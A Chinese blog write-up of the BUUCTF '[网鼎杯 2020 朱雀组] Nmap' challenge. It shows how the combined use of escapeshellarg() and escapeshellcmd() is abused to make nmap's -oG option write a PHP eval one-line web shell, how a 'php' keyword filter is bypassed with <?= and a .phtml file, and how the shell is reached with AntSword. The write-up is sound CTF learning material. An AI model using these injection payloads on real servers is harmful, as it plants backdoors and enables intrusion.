BUUCTF-Web-[网鼎杯 2020 朱雀组]Nmap
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助
打开靶机,看到一个扫描IP的执行框,
查看源码可以得到flag文件位置,
输入个IP试试,

回显结果很像Nmap扫描结果,结和题目可以确定这道题考查Nmap扫描命令,
然后他会把扫描结果放进一个文件里。
尝试直接拼接命令,
1 | 127.0.0.1 ;ls |

多了个转义符号,测试一下单引号',
1 | 127.0.0.1 'ls |

根据上面的回显可以推测后端有escapeshellarg()和escapeshellcmd()对传入的参数的过滤,
这道题的源码逻辑和[BUUCTF 2018]Online Tool很相似,都是这两个函数一起使用产生的漏洞点,
构造语句写入一句话木马,
payload:
1 | '<?php @eval($_POST["hack"]);?> -oG hack.php ' //末尾的空格不能忽略,不然文件名会变为hack.php' 会多个引号 |


有过滤,检测发现是php被过滤,
1 | '<?= @eval($_POST["hack"]);?> -oG hack.phtml ' //末尾的空格不能忽略,不然文件名会变为hack.php' 会多个引号 |
<?=相当于<?php echo,

访问hack.phtml,
写入成功,
连接蚁剑,


获得flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 半枫!
